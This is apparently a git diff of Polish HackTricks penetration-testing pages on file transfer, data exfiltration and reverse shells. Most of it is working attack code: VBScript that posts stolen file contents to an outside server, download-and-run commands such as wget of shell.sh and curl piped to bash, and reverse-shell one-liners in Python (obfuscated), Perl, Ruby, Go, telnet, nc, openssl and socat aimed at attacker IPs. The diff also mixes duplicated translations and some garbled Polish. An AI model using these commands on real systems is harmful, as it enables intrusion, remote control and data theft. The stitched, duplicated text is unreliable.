W **ofierze**, połącz się z serwerem Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Pobierz plik za pomocą jednolinijkowego kodu PHP:
|
||||
Pobierz plik za pomocą jednolinijkowca w PHP:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
VBScript (Visual Basic Scripting Edition) jest językiem skryptowym opartym na Visual Basic, który jest używany do tworzenia skryptów wykonywanych w środowisku Windows. Jest to popularny język skryptowy używany w celu automatyzacji zadań, tworzenia makr i rozszerzania funkcjonalności aplikacji.
|
||||
|
||||
### Wykorzystanie VBScript w celu eksfiltracji danych
|
||||
|
||||
VBScript może być również wykorzystywany w celu eksfiltracji danych z systemu. Istnieje wiele technik, które można zastosować w tym celu. Oto kilka przykładów:
|
||||
|
||||
#### Wykorzystanie funkcji `CreateObject`
|
||||
|
||||
Funkcja `CreateObject` w VBScript może być używana do tworzenia obiektów COM (Component Object Model). Można jej użyć do nawiązania połączenia z zewnętrznym serwerem i przesłania danych. Na przykład:
|
||||
|
||||
```vbscript
|
||||
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
|
||||
objXMLHTTP.open "POST", "http://adres-serwera.com/endpoint", False
|
||||
objXMLHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
|
||||
objXMLHTTP.send "data=skradzione-dane"
|
||||
```
|
||||
|
||||
#### Wykorzystanie funkcji `FileSystemObject`
|
||||
|
||||
Funkcja `FileSystemObject` w VBScript umożliwia manipulację plikami i folderami na systemie. Można jej użyć do odczytu danych z pliku i przesłania ich na zewnętrzny serwer. Na przykład:
|
||||
|
||||
```vbscript
|
||||
Set objFSO = CreateObject("Scripting.FileSystemObject")
|
||||
Set objFile = objFSO.OpenTextFile("C:\sciezka-do-pliku.txt", 1)
|
||||
data = objFile.ReadAll
|
||||
objFile.Close
|
||||
|
||||
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
|
||||
objXMLHTTP.open "POST", "http://adres-serwera.com/endpoint", False
|
||||
objXMLHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
|
||||
objXMLHTTP.send "data=" & data
|
||||
```
|
||||
|
||||
#### Wykorzystanie funkcji `WScript.Shell`
|
||||
|
||||
Funkcja `WScript.Shell` w VBScript umożliwia wykonywanie poleceń systemowych. Można jej użyć do uruchomienia polecenia, które przesłałoby dane na zewnętrzny serwer. Na przykład:
|
||||
|
||||
```vbscript
|
||||
Set objShell = CreateObject("WScript.Shell")
|
||||
command = "curl -X POST -d 'data=skradzione-dane' http://adres-serwera.com/endpoint"
|
||||
objShell.Run command, 0, True
|
||||
```
|
||||
|
||||
### Podsumowanie
|
||||
|
||||
VBScript jest potężnym narzędziem, które może być wykorzystane do eksfiltracji danych z systemu. Wykorzystując funkcje takie jak `CreateObject`, `FileSystemObject` i `WScript.Shell`, można przesłać skradzione dane na zewnętrzny serwer. Pamiętaj jednak, że wykorzystywanie VBScript do nielegalnych działań jest niezgodne z prawem i może prowadzić do konsekwencji prawnych.
|
||||
Visual Basic Scripting Edition (VBScript) jest językiem skryptowym stworzonym przez Microsoft. Może być używany do tworzenia skryptów do automatyzacji zadań w systemach Windows. VBScript może być wykorzystywany do exfiltracji danych poprzez różne techniki, takie jak wysyłanie danych na zdalny serwer za pomocą protokołów HTTP lub FTP.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -821,13 +312,14 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
Program `debug.exe` nie tylko umożliwia inspekcję plików binarnych, ale także ma **zdolność do odbudowywania ich na podstawie heksadecymalnych danych**. Oznacza to, że poprzez dostarczenie heksadecymalnych danych binarnych, `debug.exe` może wygenerować plik binarny. Jednak ważne jest zauważenie, że debug.exe ma **ograniczenie składania plików o maksymalnym rozmiarze 64 kb**.
|
||||
Program `debug.exe` nie tylko pozwala na inspekcję plików binarnych, ale także ma **zdolność do odbudowywania ich z kodu szesnastkowego**. Oznacza to, że, dostarczając kod szesnastkowy binarnego pliku, `debug.exe` może wygenerować plik binarny. Jednak ważne jest zauważenie, że debug.exe ma **ograniczenie składania plików do 64 kb wielkości**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Następnie skopiuj i wklej ten tekst do okna powłoki systemu Windows, a zostanie utworzony plik o nazwie nc.exe.
|
||||
```plaintext
|
||||
Następnie skopiuj tekst i wklej go do okna powłoki systemu Windows, a zostanie utworzony plik o nazwie nc.exe.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
@ -835,12 +327,6 @@ Następnie skopiuj i wklej ten tekst do okna powłoki systemu Windows, a zostani
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi Twoją powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -848,10 +334,11 @@ Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi Tw
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Jeśli masz pytania dotyczące któregokolwiek z tych shelli, możesz je sprawdzić na** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**Jeśli masz pytania dotyczące któregokolwiek z tych shelli, możesz je sprawdzić za pomocą** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Pełne TTY
|
||||
|
||||
|
@ -59,14 +59,14 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## Forward Shell
|
||||
|
||||
Jeśli napotkasz **lukę RCE** w aplikacji internetowej opartej na systemie Linux, może się zdarzyć, że **uzyskanie odwrotnego shella stanie się trudne** z powodu obecności reguł Iptables lub innych filtrów. W takich sytuacjach rozważ utworzenie shella PTY w skompromitowanym systemie za pomocą potoków.
|
||||
Jeśli napotkasz **lukę RCE** w aplikacji internetowej opartej na systemie Linux, może się zdarzyć, że **uzyskanie odwrotnego shella stanie się trudne** z powodu obecności reguł Iptables lub innych filtrów. W takich scenariuszach rozważ utworzenie powłoki PTY w skompromitowanym systemie za pomocą potoków.
|
||||
|
||||
Kod znajdziesz na [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||
|
||||
Musisz tylko zmodyfikować:
|
||||
|
||||
* Adres URL hosta podatnego
|
||||
* Prefiks i sufiks twojego payloadu (jeśli jest)
|
||||
* Prefiks i sufiks twojego payloadu (jeśli istnieją)
|
||||
* Sposób wysyłania payloadu (nagłówki? dane? dodatkowe informacje?)
|
||||
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`** aby uzyskać pełny PTY (zauważ, że potoki są czytane i zapisywane z opóźnieniem około 1,3 s).
|
||||
|
@ -87,7 +87,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
|
|||
```
|
||||
## Telnet
|
||||
|
||||
Telnet jest protokołem sieciowym służącym do zdalnego logowania się na urządzenia. Może być używany do zdalnego zarządzania systemami oraz przesyłania danych tekstowych. Telnet przesyła dane w postaci zwykłego tekstu, co oznacza, że nie jest zabezpieczony i może być podatny na ataki typu "man-in-the-middle". Zaleca się unikanie korzystania z Telnetu na rzecz bardziej bezpiecznych protokołów, takich jak SSH.
|
||||
Telnet jest protokołem sieciowym, który umożliwia zdalne logowanie do hosta. Może być używany do zdalnego zarządzania systemem oraz do przesyłania poleceń. Telnet przesyła dane w postaci tekstu, co oznacza, że nie jest zaszyfrowany i może stanowić ryzyko dla bezpieczeństwa.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -147,15 +147,9 @@ p.waitFor()
|
|||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Golang
|
||||
|
||||
Go (znany również jako Golang) jest językiem programowania stworzonym przez Google. Jest często używany do tworzenia efektywnych narzędzi do programowania sieciowego i rozproszonego. Jego składnia jest podobna do języka C, ale zawiera wiele nowoczesnych funkcji, takich jak automatyczne zarządzanie pamięcią.
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
|
@ -211,7 +205,7 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
|||
```
|
||||
## OpenSSL
|
||||
|
||||
Atakujący (Kali)
|
||||
Napastnik (Kali)
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
|
@ -229,7 +223,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
|||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Powłoka typu bind
|
||||
### Powiąż powłokę
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
|
@ -286,7 +280,7 @@ To spróbuje połączyć się z twoim systemem na porcie 6001:
|
|||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Aby przechwycić odwróconą powłokę, możesz użyć (która będzie nasłuchiwać na porcie 6001):
|
||||
Aby przechwycić odwrotną powłokę, możesz użyć (która będzie nasłuchiwać na porcie 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -319,6 +313,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,18 +14,10 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
Strona [lolbas-project.github.io](https://lolbas-project.github.io/) jest odpowiednikiem dla systemu Windows tak jak [https://gtfobins.github.io/](https://gtfobins.github.io/) jest dla systemu Linux.\
|
||||
Oczywiście, **w systemie Windows nie ma plików SUID ani uprawnień sudo**, ale warto wiedzieć, **jak** niektóre **binaria** mogą być (nadużywane), aby wykonać pewne nieoczekiwane działania, takie jak **wykonywanie dowolnego kodu**.
|
||||
Strona [lolbas-project.github.io](https://lolbas-project.github.io/) jest dla systemu Windows, podobnie jak [https://gtfobins.github.io/](https://gtfobins.github.io/) jest dla systemu Linux.\
|
||||
Oczywiście, **nie ma plików SUID ani uprawnień sudo w systemie Windows**, ale warto wiedzieć, **jak** niektóre **binaria** mogą być (wy)używane do wykonania nieoczekiwanych działań, takich jak **wykonywanie dowolnego kodu.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -33,7 +25,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) to przenośna i bezpieczna alternatywa dla Netcata**. Działa na systemach Unix-like i Win32. Dzięki funkcjom takim jak silne szyfrowanie, wykonywanie programów, dostosowywanie portów źródłowych i ciągłe ponowne łączenie, sbd zapewnia wszechstronne rozwiązanie do komunikacji TCP/IP. Dla użytkowników systemu Windows, wersja sbd.exe z dystrybucji Kali Linux może być używana jako niezawodna zamiennik dla Netcata.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) to przenośna i bezpieczna alternatywa dla Netcata**. Działa w systemach z rodziny Unix oraz Win32. Dzięki funkcjom takim jak silne szyfrowanie, wykonywanie programów, dostosowywanie portów źródłowych i ciągłe ponowne połączenie, sbd zapewnia wszechstronne rozwiązanie do komunikacji TCP/IP. Dla użytkowników systemu Windows, wersję sbd.exe z dystrybucji Kali Linux można używać jako niezawodną zamiennik dla Netcata.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -46,197 +38,21 @@ id
|
|||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## Python
|
||||
|
||||
Python jest popularnym językiem programowania, który może być używany do tworzenia różnych narzędzi i skryptów w celu ułatwienia procesu testowania penetracyjnego. Poniżej przedstawiam kilka przykładów użycia Pythona w kontekście testowania penetracyjnego na systemach Windows.
|
||||
|
||||
### Powłoka systemowa
|
||||
|
||||
Python może być używany do uruchamiania poleceń systemowych na zdalnym systemie Windows. Można to zrobić za pomocą modułu `subprocess`, który umożliwia wywoływanie poleceń systemowych i przechwytywanie ich wyników. Poniżej znajduje się przykład użycia Pythona do uruchomienia powłoki systemowej na zdalnym systemie Windows:
|
||||
|
||||
```python
|
||||
import subprocess
|
||||
|
||||
def run_command(command):
|
||||
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
output, error = process.communicate()
|
||||
return output.decode(), error.decode()
|
||||
|
||||
command = 'cmd.exe /c whoami'
|
||||
output, error = run_command(command)
|
||||
print('Output:', output)
|
||||
print('Error:', error)
|
||||
```
|
||||
|
||||
### Wykonywanie kodu PowerShell
|
||||
|
||||
Python może również być używany do wykonywania kodu PowerShell na zdalnym systemie Windows. Można to zrobić za pomocą modułu `subprocess`, podobnie jak w przypadku uruchamiania poleceń systemowych. Poniżej znajduje się przykład użycia Pythona do wykonania kodu PowerShell na zdalnym systemie Windows:
|
||||
|
||||
```python
|
||||
import subprocess
|
||||
|
||||
def run_powershell_code(code):
|
||||
command = ['powershell.exe', '-ExecutionPolicy', 'Bypass', '-Command', code]
|
||||
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
output, error = process.communicate()
|
||||
return output.decode(), error.decode()
|
||||
|
||||
code = 'Write-Host "Hello, World!"'
|
||||
output, error = run_powershell_code(code)
|
||||
print('Output:', output)
|
||||
print('Error:', error)
|
||||
```
|
||||
|
||||
### Manipulowanie rejestrem systemu
|
||||
|
||||
Python może być również używany do manipulowania rejestrem systemu na zdalnym systemie Windows. Można to zrobić za pomocą modułu `winreg`, który umożliwia odczytywanie, zapisywanie i usuwanie kluczy rejestru. Poniżej znajduje się przykład użycia Pythona do odczytywania wartości klucza rejestru na zdalnym systemie Windows:
|
||||
|
||||
```python
|
||||
import winreg
|
||||
|
||||
def read_registry_value(key_path, value_name):
|
||||
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path)
|
||||
value = winreg.QueryValueEx(key, value_name)
|
||||
return value[0]
|
||||
|
||||
key_path = r'SOFTWARE\Microsoft\Windows\CurrentVersion'
|
||||
value_name = 'ProgramFilesDir'
|
||||
value = read_registry_value(key_path, value_name)
|
||||
print('Value:', value)
|
||||
```
|
||||
|
||||
### Przechwytywanie ekranu
|
||||
|
||||
Python może być również używany do przechwytywania ekranu zdalnego systemu Windows. Można to zrobić za pomocą modułu `pyautogui`, który umożliwia przechwytywanie ekranu i zapisywanie go do pliku. Poniżej znajduje się przykład użycia Pythona do przechwytywania ekranu zdalnego systemu Windows:
|
||||
|
||||
```python
|
||||
import pyautogui
|
||||
|
||||
screenshot = pyautogui.screenshot()
|
||||
screenshot.save('screenshot.png')
|
||||
print('Screenshot saved')
|
||||
```
|
||||
|
||||
### Podsumowanie
|
||||
|
||||
Python jest potężnym narzędziem, które można wykorzystać do różnych zadań związanych z testowaniem penetracyjnym na systemach Windows. Powyższe przykłady pokazują tylko kilka możliwości użycia Pythona w tym kontekście.
|
||||
```bash
|
||||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl jest popularnym językiem skryptowym, który jest często wykorzystywany w celu zdalnego wykonywania poleceń na systemach Windows. Aby użyć Perla do zdalnego dostępu do powłoki systemu Windows, możesz skorzystać z następującego kodu:
|
||||
|
||||
```perl
|
||||
use strict;
|
||||
use warnings;
|
||||
use Win32::OLE;
|
||||
|
||||
my $host = "adres_IP";
|
||||
my $username = "nazwa_użytkownika";
|
||||
my $password = "hasło";
|
||||
|
||||
my $locator = Win32::OLE->new('WbemScripting.SWbemLocator');
|
||||
my $service = $locator->ConnectServer($host, 'root\\cimv2', $username, $password);
|
||||
|
||||
my $command = "cmd.exe /c whoami";
|
||||
my $process = $service->Get("Win32_Process")->Create($command, undef, undef);
|
||||
|
||||
print "Wynik: " . $process->{ProcessId} . "\n";
|
||||
```
|
||||
|
||||
Ten kod używa modułu `Win32::OLE`, który umożliwia komunikację z usługami systemu Windows. Połączenie z serwerem jest nawiązywane za pomocą metody `ConnectServer`, a następnie tworzony jest proces za pomocą metody `Create` z użyciem polecenia `cmd.exe /c whoami`. Wynik jest wypisywany na ekranie.
|
||||
|
||||
Pamiętaj, że przed użyciem Perla do zdalnego dostępu do powłoki systemu Windows, musisz mieć uprawnienia administratora na docelowym systemie.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby to język programowania, który jest często używany do tworzenia skryptów i aplikacji webowych. Jest to język interpretowany, co oznacza, że kod źródłowy jest kompilowany w locie. Ruby jest również dynamicznie typowany, co oznacza, że nie musisz deklarować typów zmiennych przed ich użyciem.
|
||||
|
||||
### Instalacja Ruby
|
||||
|
||||
Aby zainstalować Ruby na systemie Windows, możesz skorzystać z narzędzia RubyInstaller. Możesz pobrać najnowszą wersję RubyInstaller ze strony [rubyinstaller.org](https://rubyinstaller.org/). Po pobraniu i uruchomieniu instalatora, postępuj zgodnie z instrukcjami, aby zainstalować Ruby na swoim systemie.
|
||||
|
||||
### Uruchamianie skryptów Ruby
|
||||
|
||||
Aby uruchomić skrypt Ruby, otwórz wiersz polecenia i wpisz `ruby nazwa_pliku.rb`, gdzie `nazwa_pliku.rb` to nazwa twojego pliku skryptu Ruby z rozszerzeniem `.rb`. Następnie naciśnij Enter, aby uruchomić skrypt.
|
||||
|
||||
### Podstawowe składniki języka Ruby
|
||||
|
||||
Ruby ma wiele podstawowych składników, które warto poznać. Oto kilka z nich:
|
||||
|
||||
- Zmienne: W Ruby możesz tworzyć zmienne, które przechowują wartości. Możesz przypisać wartość do zmiennej za pomocą operatora przypisania `=`. Na przykład: `x = 5`.
|
||||
|
||||
- Tablice: Tablice w Ruby służą do przechowywania wielu wartości w jednej zmiennej. Możesz tworzyć tablice za pomocą nawiasów kwadratowych `[]`. Na przykład: `numbers = [1, 2, 3, 4, 5]`.
|
||||
|
||||
- Pętle: Pętle w Ruby pozwalają na powtarzanie określonych czynności. Możesz użyć pętli `each` do iteracji po elementach tablicy. Na przykład:
|
||||
|
||||
```ruby
|
||||
numbers = [1, 2, 3, 4, 5]
|
||||
numbers.each do |number|
|
||||
puts number
|
||||
end
|
||||
```
|
||||
|
||||
- Warunki: Warunki w Ruby pozwalają na wykonywanie różnych czynności w zależności od spełnienia określonego warunku. Możesz użyć instrukcji warunkowej `if` do sprawdzenia warunku. Na przykład:
|
||||
|
||||
```ruby
|
||||
x = 5
|
||||
if x > 3
|
||||
puts "x jest większe od 3"
|
||||
else
|
||||
puts "x jest mniejsze lub równe 3"
|
||||
end
|
||||
```
|
||||
|
||||
To tylko kilka podstawowych składników języka Ruby. Istnieje wiele innych funkcji i bibliotek, które można wykorzystać do tworzenia zaawansowanych aplikacji.
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua jest skryptowym językiem programowania, który jest często używany do tworzenia skryptów i rozszerzeń w różnych aplikacjach. Lua jest często stosowana w grach komputerowych, systemach wbudowanych i aplikacjach internetowych. Lua jest łatwa do nauki i ma prostą składnię, co czyni ją popularnym wyborem dla programistów.
|
||||
|
||||
### Uruchamianie skryptów Lua
|
||||
|
||||
Aby uruchomić skrypt Lua, można użyć interpretera Lua lub zintegrować go z innym językiem programowania. Interpreter Lua jest dostępny dla wielu systemów operacyjnych i można go pobrać z oficjalnej strony Lua.
|
||||
|
||||
### Podstawowe składniki Lua
|
||||
|
||||
Lua ma kilka podstawowych składników, które warto znać:
|
||||
|
||||
- **Zmienne**: W Lua można tworzyć zmienne i przypisywać im wartości. Zmienne w Lua są dynamicznie typowane, co oznacza, że nie trzeba deklarować ich typu.
|
||||
|
||||
- **Funkcje**: W Lua można tworzyć funkcje, które mogą być wywoływane w różnych miejscach w skrypcie. Funkcje w Lua mogą przyjmować argumenty i zwracać wartości.
|
||||
|
||||
- **Tablice**: Tablice w Lua są strukturami danych, które przechowują zbiór wartości. Tablice w Lua są indeksowane od 1.
|
||||
|
||||
- **Warunki**: W Lua można używać instrukcji warunkowych, takich jak if-else, aby wykonywać różne działania w zależności od spełnienia określonych warunków.
|
||||
|
||||
